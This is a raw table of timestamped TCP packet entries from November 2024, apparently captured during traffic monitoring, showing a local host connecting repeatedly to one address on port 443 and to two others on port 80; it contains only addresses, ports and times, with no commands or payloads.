Nov 18, 2024 21:04:04.714464903 CET	49770	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.714629889 CET	49770	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.714651108 CET	443	49770	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.762120962 CET	443	49765	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.762423992 CET	443	49765	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.763524055 CET	49765	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.763596058 CET	49765	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.763596058 CET	49765	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.763632059 CET	443	49765	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.763657093 CET	443	49765	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.766066074 CET	49771	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.766099930 CET	443	49771	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.766165972 CET	49771	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.766320944 CET	49771	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.766335964 CET	443	49771	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.779958963 CET	443	49766	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.780035973 CET	443	49766	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.780143976 CET	49766	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.780184031 CET	49766	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.780200005 CET	443	49766	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.783050060 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.783088923 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.783149958 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.783303022 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.783328056 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.784591913 CET	443	49767	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.784645081 CET	443	49767	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.784712076 CET	49767	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.784851074 CET	49767	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.784857035 CET	443	49767	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.784868002 CET	49767	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.784873009 CET	443	49767	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.787262917 CET	49773	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.787367105 CET	443	49773	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.787453890 CET	49773	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.787630081 CET	49773	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.787663937 CET	443	49773	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.928204060 CET	80	49768	185.215.113.43	192.168.2.4
Nov 18, 2024 21:04:04.928574085 CET	49768	80	192.168.2.4	185.215.113.43
Nov 18, 2024 21:04:05.428272963 CET	443	49769	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.428765059 CET	49769	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.428781033 CET	443	49769	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.429224014 CET	49769	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.429228067 CET	443	49769	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.452162027 CET	443	49770	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.452590942 CET	49770	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.452619076 CET	443	49770	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.453161001 CET	49770	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.453169107 CET	443	49770	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.522217035 CET	443	49771	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.522726059 CET	49771	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.522763014 CET	443	49771	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.523217916 CET	49771	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.523224115 CET	443	49771	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.529998064 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.530436993 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.530451059 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.530906916 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.530913115 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.536010981 CET	443	49773	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.536292076 CET	49773	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.536334038 CET	443	49773	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.536766052 CET	49773	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.536777020 CET	443	49773	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.560389042 CET	443	49769	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.560565948 CET	443	49769	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.560857058 CET	49769	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.560857058 CET	49769	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.560858011 CET	49769	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.563730001 CET	49774	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.563760042 CET	443	49774	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.563821077 CET	49774	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.563951969 CET	49774	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.563961983 CET	443	49774	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.584611893 CET	443	49770	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.584763050 CET	443	49770	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.584856987 CET	49770	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.584856987 CET	49770	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.584884882 CET	49770	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.584901094 CET	443	49770	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.587261915 CET	49775	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.587302923 CET	443	49775	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.587399006 CET	49775	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.587546110 CET	49775	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.587567091 CET	443	49775	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.654208899 CET	443	49771	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.654366016 CET	443	49771	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.654536009 CET	49771	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.654536009 CET	49771	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.654536009 CET	49771	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.656784058 CET	49776	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.656816959 CET	443	49776	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.656888962 CET	49776	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.657027960 CET	49776	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.657043934 CET	443	49776	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.661494017 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.661648035 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.661689997 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.661741972 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.661751986 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.661761045 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.661767006 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.663927078 CET	49777	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.663954020 CET	443	49777	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.664019108 CET	49777	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.664150000 CET	49777	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.664164066 CET	443	49777	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.668872118 CET	443	49773	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.668941975 CET	443	49773	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.669047117 CET	49773	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.669080973 CET	49773	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.669099092 CET	443	49773	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.669114113 CET	49773	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.669121027 CET	443	49773	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.671232939 CET	49778	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.671256065 CET	443	49778	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.671330929 CET	49778	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.671459913 CET	49778	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.671473026 CET	443	49778	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.781322002 CET	49769	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.781347990 CET	443	49769	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:05.968920946 CET	49771	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:05.968947887 CET	443	49771	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.298441887 CET	443	49774	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.299091101 CET	49774	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.299113989 CET	443	49774	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.299714088 CET	49774	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.299720049 CET	443	49774	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.327011108 CET	443	49775	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.327687979 CET	49775	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.327750921 CET	443	49775	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.328121901 CET	49775	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.328136921 CET	443	49775	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.394596100 CET	443	49777	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.399282932 CET	49777	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.399306059 CET	443	49777	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.399893999 CET	49777	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.399903059 CET	443	49777	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.400430918 CET	443	49778	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.403512955 CET	49778	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.403536081 CET	443	49778	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.403803110 CET	49778	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.403808117 CET	443	49778	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.413350105 CET	443	49776	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.413665056 CET	49776	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.413686991 CET	443	49776	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.414299011 CET	49776	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.414304018 CET	443	49776	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.426098108 CET	443	49774	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.426292896 CET	443	49774	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.426354885 CET	49774	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.426399946 CET	49774	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.426399946 CET	49774	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.426418066 CET	443	49774	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.426428080 CET	443	49774	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.429274082 CET	49779	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.429308891 CET	443	49779	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.429575920 CET	49779	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.429733038 CET	49779	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.429747105 CET	443	49779	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.438286066 CET	49768	80	192.168.2.4	185.215.113.43
Nov 18, 2024 21:04:06.438791037 CET	49780	80	192.168.2.4	185.215.113.43
Nov 18, 2024 21:04:06.444222927 CET	80	49780	185.215.113.43	192.168.2.4
Nov 18, 2024 21:04:06.444298983 CET	49780	80	192.168.2.4	185.215.113.43
Nov 18, 2024 21:04:06.444463015 CET	49780	80	192.168.2.4	185.215.113.43
Nov 18, 2024 21:04:06.445652962 CET	80	49768	185.215.113.43	192.168.2.4
Nov 18, 2024 21:04:06.445846081 CET	49768	80	192.168.2.4	185.215.113.43
Nov 18, 2024 21:04:06.449820042 CET	80	49780	185.215.113.43	192.168.2.4
Nov 18, 2024 21:04:06.455646038 CET	443	49775	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.455925941 CET	443	49775	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.455993891 CET	49775	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.456165075 CET	49775	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.456165075 CET	49775	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.456199884 CET	443	49775	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.456227064 CET	443	49775	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.459148884 CET	49781	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.459177017 CET	443	49781	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.459333897 CET	49781	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.459430933 CET	49781	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.459441900 CET	443	49781	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.526290894 CET	443	49777	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.526623011 CET	443	49777	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.526679039 CET	49777	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.526789904 CET	49777	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.526809931 CET	443	49777	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.526823997 CET	49777	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.526830912 CET	443	49777	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.529105902 CET	49782	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.529197931 CET	443	49782	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.529448032 CET	49782	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.529606104 CET	49782	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.529642105 CET	443	49782	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.536009073 CET	443	49778	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.536151886 CET	443	49778	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.536206007 CET	49778	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.536257982 CET	49778	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.536258936 CET	49778	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.536271095 CET	443	49778	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.536278009 CET	443	49778	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.539381981 CET	49783	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.539403915 CET	443	49783	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.539469004 CET	49783	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.539684057 CET	49783	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.539700985 CET	443	49783	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.550977945 CET	443	49776	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.551124096 CET	443	49776	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.551278114 CET	49776	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.551333904 CET	49776	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.551347971 CET	443	49776	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.551359892 CET	49776	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.551363945 CET	443	49776	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.553322077 CET	49784	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.553397894 CET	443	49784	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:06.553482056 CET	49784	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.553620100 CET	49784	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:06.553653955 CET	443	49784	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.170181990 CET	443	49779	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.170778990 CET	49779	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.170815945 CET	443	49779	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.171144962 CET	49779	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.171153069 CET	443	49779	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.214442015 CET	443	49781	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.215058088 CET	49781	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.215080023 CET	443	49781	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.215270996 CET	49781	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.215279102 CET	443	49781	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.292079926 CET	443	49783	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.292670012 CET	49783	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.292682886 CET	443	49783	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.293121099 CET	49783	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.293124914 CET	443	49783	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.299030066 CET	443	49779	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.299247026 CET	443	49779	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.299335957 CET	49779	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.299335957 CET	49779	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.299382925 CET	49779	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.299403906 CET	443	49779	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.301961899 CET	49785	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.302012920 CET	443	49785	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.302094936 CET	49785	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.302228928 CET	49785	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.302242041 CET	443	49785	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.307539940 CET	443	49784	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.307836056 CET	49784	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.307859898 CET	443	49784	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.308221102 CET	49784	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.308227062 CET	443	49784	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.343869925 CET	443	49782	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.344486952 CET	49782	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.344548941 CET	443	49782	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.344657898 CET	49782	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.344674110 CET	443	49782	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.397151947 CET	80	49780	185.215.113.43	192.168.2.4
Nov 18, 2024 21:04:07.397347927 CET	49780	80	192.168.2.4	185.215.113.43
Nov 18, 2024 21:04:07.400902987 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:07.406666040 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:07.406761885 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:07.408153057 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:07.413003922 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:07.425400972 CET	443	49783	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.426229954 CET	443	49783	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.426340103 CET	49783	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.426399946 CET	49783	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.426399946 CET	49783	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.426414013 CET	443	49783	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.426422119 CET	443	49783	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.429130077 CET	49787	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.429183006 CET	443	49787	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.429246902 CET	49787	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.429383993 CET	49787	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.429400921 CET	443	49787	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.450844049 CET	443	49781	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.450927973 CET	443	49781	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.451013088 CET	49781	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.451122999 CET	49781	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.451122999 CET	49781	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.451129913 CET	443	49781	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.451137066 CET	443	49781	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.453831911 CET	49788	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.453922987 CET	443	49788	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.454025030 CET	49788	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.454118013 CET	49788	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.454150915 CET	443	49788	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.454822063 CET	443	49784	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.456264973 CET	443	49784	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.456429005 CET	49784	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.456429005 CET	49784	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.456429005 CET	49784	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.458412886 CET	49789	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.458446980 CET	443	49789	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.458524942 CET	49789	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.458642960 CET	49789	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.458658934 CET	443	49789	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.477817059 CET	443	49782	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.477900982 CET	443	49782	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.477952957 CET	49782	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.477994919 CET	49782	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.477994919 CET	49782	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.478017092 CET	443	49782	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.478033066 CET	443	49782	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.480046988 CET	49790	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.480133057 CET	443	49790	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.480226994 CET	49790	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.480365038 CET	49790	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.480403900 CET	443	49790	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:07.765727997 CET	49784	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:07.765796900 CET	443	49784	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.054492950 CET	443	49785	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.055006027 CET	49785	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.055035114 CET	443	49785	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.055483103 CET	49785	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.055491924 CET	443	49785	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.173367977 CET	443	49787	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.173897982 CET	49787	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.173928976 CET	443	49787	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.174362898 CET	49787	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.174371004 CET	443	49787	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.183728933 CET	443	49785	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.184139967 CET	443	49785	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.184228897 CET	49785	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.184282064 CET	49785	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.184298992 CET	443	49785	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.184313059 CET	49785	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.184319973 CET	443	49785	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.186789989 CET	49791	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.186824083 CET	443	49791	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.186949968 CET	49791	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.187055111 CET	49791	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.187064886 CET	443	49791	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.197655916 CET	443	49789	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.197995901 CET	49789	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.198012114 CET	443	49789	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.198438883 CET	49789	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.198442936 CET	443	49789	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.209785938 CET	443	49788	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.210244894 CET	49788	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.210330963 CET	443	49788	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.210679054 CET	49788	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.210695028 CET	443	49788	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.250271082 CET	443	49790	13.107.246.45	192.168.2.4
